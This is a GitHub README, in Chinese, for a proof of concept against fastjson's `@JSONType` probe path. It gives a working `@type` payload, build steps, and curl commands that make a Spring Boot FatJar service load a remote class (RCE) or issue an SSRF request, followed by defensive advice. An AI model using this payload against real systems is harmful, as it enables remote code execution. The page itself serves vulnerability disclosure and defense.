Percivalll/Fastjson-JsonType-RCE-PoC

GitHub: Percivalll/Fastjson-JsonType-RCE-PoC

这是一个验证 fastjson `@JSONType` 探测路径在 Spring Boot FatJar 环境下可导致远程类加载 RCE 和 SSRF 的概念验证工具。

Stars: 2 | Forks: 2

# Fastjson AutoType + Spring Boot FatJar JSONType RCE PoC ## 摘要 `ParserConfig.checkAutoType` 包含一个 `@JSONType` 探测路径,该路径会将提交的 `@type` 值重构为类资源: ``` String resource = typeName.replace('.', '/') + ".class"; is = defaultClassLoader.getResourceAsStream(resource); ``` 使用诸如 `jar:http:..2130706433:18080.probe!.POC` 的值,替换操作会生成 jar URL `jar:http://2130706433:18080/probe!/POC.class`(`2130706433` 是 `127.0.0.1` 的整数形式)。 观察到的行为取决于类加载器和 JDK: | 环境 | 网络请求 | 结果 | | --- | --- | --- | | 使用 JDK `AppClassLoader` 的普通 classpath | 否 | `JSONException: autoType is not support` | | 在 JDK 8 上使用 `LaunchedURLClassLoader` 的 Spring Boot FatJar | 是,通常会有两次 `GET /probe` 请求 | 可以定义并初始化远程类字节码 | | 在 JDK 9+ 上使用 `LaunchedURLClassLoader` 的 Spring Boot FatJar | 是 | SSRF 仍然存在,但类定义会因非法类名错误而失败 | | `setAutoTypeSupport(true)` 或 fastjson <= 1.2.24 | 否 | 在测试路径中,该 payload 会降级为普通的 `JSONObject` 字段 | ## 受影响条件 以下所有条件均与完整的远程类加载路径相关: | 条件 | 说明 | | --- | --- | | fastjson 版本 | 在 1.2.66 到 1.2.83 版本(包括 `@JSONType` 探测路径)中观察到。由于注解探测是一个可信通道,因此在 AutoType 被禁用时依然可以进入该路径。 | | 类加载器 | fastjson 由 `LaunchedURLClassLoader` 加载的传统 Spring Boot FatJar 执行环境,或者是应用程序提供的能够解析 jar 类型资源名称的 `ParserConfig.setDefaultClassLoader()`。 | | JDK | 在此途径下,完整的 RCE 需要 JDK 8。JDK 9+ 会在 `defineClass` 期间拒绝构造的内部类名,但 SSRF 依然会发生。 | | 网络 | 目标运行时必须能够通过 HTTP 或其他可达的 URL scheme 获取远程 jar。 | ## 项目结构 ``` . |-- README.md |-- pom.xml |-- scripts/ | |-- build-harness.sh | `-- fetch-deps.sh |-- src/main/java/ | |-- FatRunner.java | |-- Gen.java | |-- POC.java | |-- Test.java | `-- Test2.java `-- sbdemo/ |-- pom.xml `-- src/main/java/com/percivalll/fastjson/jsontype/ |-- DemoApplication.java |-- FastjsonHarness.java |-- ParseController.java `-- WorkerParser.java ``` ## 前置条件 - 完整的类定义结果需要 JDK 8。 - JDK 9+ 可用于验证仅限 SSRF 的行为。 - 执行 `scripts/fetch-deps.sh` 需要 `curl`。 - 根测试工具(harness)的构建非必须使用 Maven。脚本会直接将所需的 jar 下载到 `lib/` 目录中。 - `sbdemo/` 真实的 Spring Boot 应用程序必须使用 Maven。 ## 构建本地测试工具 ``` scripts/build-harness.sh ``` 该脚本会下载: - `fastjson-1.2.83.jar` - `spring-boot-loader-2.7.18.jar` - `spring-boot-loader-1.5.22.RELEASE.jar` - `asm-9.6.jar` 然后它会将测试工具编译到 `target/classes` 中并生成 `probe.jar`。生成的 jar 包含一个构造的 `POC.class`,其字节码内部名称为: ``` jar:http://2130706433:18080/probe!/POC ``` ## 测试工具复现步骤 测试工具使用的 payload 为: ``` {"@type":"jar:http:..2130706433:18080.probe!.POC","x":1} ``` 使用普通 classpath 的基线测试: ``` java -cp "target/classes:lib/fastjson-1.2.83.jar" Test parse-default ``` Spring Boot 2.7 加载器路径: ``` rm -f PWNED2 java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-parse ls -la PWNED2 ``` Spring Boot 1.5 加载器路径: ``` rm -f PWNED2 java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-1.5.22.RELEASE.jar" Test2 sb15-parse ls -la PWNED2 ``` 直接基础检查: ``` java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-direct java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-check java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-load java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-fatrun ``` 在 JDK 8 上,`sb27-parse`、`sb15-parse`、`sb27-load` 和 `sb27-fatrun` 路径可以定义并初始化远程类。在 JDK 9+ 上,HTTP 获取请求依然会发出,但由于 JVM 对类名的验证更严格,类定义会被拦截。 ## 文件功能说明 `Test.java` 是普通 classpath 的基线测试。它启动一个 localhost HTTP 服务器,执行 fastjson 解析和 `checkAutoType`,并记录是否发出了 HTTP 请求。 `Test2.java` 构建了一个 Spring Boot `LaunchedURLClassLoader`,通过本地 HTTP 监听器提供 `probe.jar`,并测试了直接资源查找、`checkAutoType`、`loadClass` 和 `JSON.parse` 路径。 `Gen.java` 使用 ASM 生成一个仅存在于字节码内部名称中、无法作为 Java 源码编写的类。生成的类带有一个运行时可见的 `@JSONType` 注解,并在初始化时创建 `PWNED2`。 `POC.java` 是一个带有 `@JSONType` 的普通对照类。 `FatRunner.java` 通过 FatJar 样式的类加载器加载,以更贴近地模拟在 Spring Boot 可执行 jar 中运行的 fastjson。 ## 真实 Spring Boot 演示 `fastsjson/` 项目是一个包含 fastjson 1.2.83 的最小化 Spring Boot 2.7.18 服务。默认情况下,它绑定到 `127.0.0.1:8081`。 使用 JDK 8 构建: ``` cd sbdemo JAVA_HOME=/path/to/jdk8 mvn package -DskipTests java -jar target/fastjson-jsontype-sbdemo-1.0.0-SNAPSHOT.jar ``` 在另一个终端中,将根测试工具生成的构造 jar 作为 `/probe` 提供服务: ``` cd .. scripts/build-harness.sh mkdir -p www cp probe.jar www/probe python3 -m http.server 18080 --bind 127.0.0.1 --directory www ``` 有用的 endpoint: ``` curl http://127.0.0.1:8081/info curl -X POST http://127.0.0.1:8081/parse \ -H 'Content-Type: application/json' \ -d '{"@type":"jar:http:..2130706433:18080.probe!.POC","x":1}' curl -X POST http://127.0.0.1:8081/parse-async \ -H 'Content-Type: application/json' \ -d '{"@type":"jar:http:..2130706433:18080.probe!.POC","x":1}' ``` 来自原始研究笔记的观察行为: | 路由 | 结果 | | --- | --- | | Tomcat 请求线程 (`/parse`) | 会发生 SSRF,但该路由通常会在 RCE 之前停止,因为 Tomcat 请求线程的 TCCL 未能完成构造的远程类定义路径。 | | 启动时创建的工作线程 (`/parse-async`) | 在 JDK 8 且 TCCL 设置为 `LaunchedURLClassLoader` 的情况下,远程类加载路径可以完成。 | | 任何入口点 | `@JSONType` 探测仍然可以触发 SSRF,因为它使用的是 `ParserConfig.class.getClassLoader()`。 | Tomcat 请求线程路由中的失败对于此 payload 系列来说是结构性的:远程 jar URL 需要 `://`,类资源重构需要 `..` 变为 `//`,而随后的 `Class.forName` 路径会在 Tomcat 能够加载构造的类之前拒绝空的包段。 ## 防御指南 1. 使用 `-Dfastjson.parser.safeMode=true` 启用 fastjson SafeMode。 2. 实施严格的出站流量控制,确保应用程序运行时无法获取任意的 HTTP 资源。 3. 尽可能使用 JDK 9+。这会拦截此途径中的类定义步骤,尽管 SSRF 仍需单独缓解。 4. 迁移到 fastjson2,或者在处理不受信任的 JSON 解析路径中移除 fastjson 1.x。 5. 针对不受信任的输入,不要启用 `ParserConfig.setAutoTypeSupport(true)`。 6. 对包含 `jar:`、`!`、混合 `..` URL 重构模式或诸如 `2130706433` 的整数形式 IP 字面量的可疑 `@type` 值设置告警。 7. 审查 `ParserConfig.setDefaultClassLoader()` 调用点,避免使用会将攻击者控制的资源名称解析为 URL 的类加载器。 ## 参考 - fastjson `ParserConfig.checkAutoType`,特别是资源重构逻辑附近的 `@JSONType` 探测代码块。 - Spring Boot `org.springframework.boot.loader.jar.Handler#parseURL`,其嵌套式 jar URL 处理方式不同于 JDK 普通 classpath 路径。 - 在 fastjson 1.2.66 中引入并在原始笔记测试的后续 1.x 版本中存在的 `@JSONType` 探测行为。
标签:CISA项目, Fastjson, GHAS, Java安全, JS文件枚举, PoC, Spring Boot, 域名枚举, 暴力破解, 编程工具, 远程代码执行